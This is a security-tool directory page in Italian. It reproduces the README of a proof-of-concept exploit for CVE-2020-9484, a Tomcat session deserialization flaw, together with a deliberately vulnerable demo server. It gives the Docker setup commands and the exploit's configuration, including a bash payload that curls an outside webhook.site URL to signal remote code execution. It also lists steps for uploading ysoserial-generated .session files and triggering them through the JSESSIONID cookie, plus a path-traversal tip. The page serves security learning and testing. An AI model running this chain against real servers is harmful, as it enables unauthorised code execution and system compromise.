Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PoC_CVE-2020-9484 — Exploit PoC per CVE-2020-9484, e un'applicazione web vulnerabile per la sua dimostrazione. | Kitploit
Strumenti/GitHubGitHub/savsch/poc_cve-2020-9484
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

Exploit PoC per CVE-2020-9484, e un'applicazione web vulnerabile per la sua dimostrazione.

Vedi Repository
121 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Questo repository contiene un proof of concept per la vulnerabilità CVE-2020-9484, insieme a un server web di esempio vulnerabile a questa exploit.


Prerequisiti affinché questa vulnerabilità sia sfruttabile

Versioni di Tomcat interessate:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. Il PersistentManager è abilitato e utilizza un FileStore.
  2. L'attaccante è in grado di caricare un file con contenuto arbitrario, ha il controllo sull'estensione del nome del file (in particolare file .session) e conosce la posizione in cui viene caricato.
  3. Ci sono gadget nel classpath (ad esempio clojure o commons-collections) che possono essere usati per un attacco di deserializzazione Java.

Il Servizio Vulnerabile di Esempio

Il servizio di esempio è un server web con due pagine, /index.jsp (o semplicemente /) e /list.jsp. Consente all'utente di caricare e scaricare file (specifici per la sessione corrente), fungendo di fatto da archivio di file.

  • Supporta richieste POST a /upload per il caricamento di file e consente all'utente di scegliere il nome del file. Ciò rende possibile caricare file con estensione .session. È anche noto che il server archivia i file nella directory /var/tmp/uploads.
  • Ha PersistentManager abilitato tramite FileStore. (vedi context.xml)
  • Ha clojure:1.8.0 nel classpath, facilitando così l'attacco di deserializzazione. (vedi pom.xml)

L'Exploit

Per configurare il servizio vulnerabile di esempio:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

Il servizio dovrebbe ora essere attivo all'indirizzo http://localhost:8085/POC_CVE-2020-9484/.

Ora regola le variabili di configurazione all'inizio di exploit.py. Il PAYLOAD, qui uno script shell, può essere qualsiasi file eseguibile dal server.

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

Ora esegui exploit.py. Esso esegue le seguenti azioni:

  1. Scarica yoserial.
  2. Usa yoserial per generare oggetti serializzati malevoli (come file .session), che verranno eventualmente deserializzati sul server:
    • chmodPayload.session per dare permessi di esecuzione al file PAYLOAD caricato sul server.
    • executePayload.session per eseguire il file PAYLOAD sul server.
  3. Carica il PAYLOAD come file sul server.
  4. Carica i file .session generati sopra sul server.
  5. Innesca una richiesta al server con il cookie JSESSIONID impostato al percorso dei file .session caricati in precedenza, relativo all'archivio delle sessioni del server, attivando così la loro deserializzazione sul server e la successiva esecuzione del payload.

Note a piè di pagina

  • Molti server archiviano i file caricati dagli utenti in un percorso della forma /path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. In tal caso, usare un JSESSIONID della forma ../../../../tmp (invece di un valore arbitrario come "1337"*8 usato in exploit.py sopra) con la richiesta POST di caricamento file può potenzialmente aiutare a determinare dove il file caricato viene archiviato sul server.
Scarica lo strumento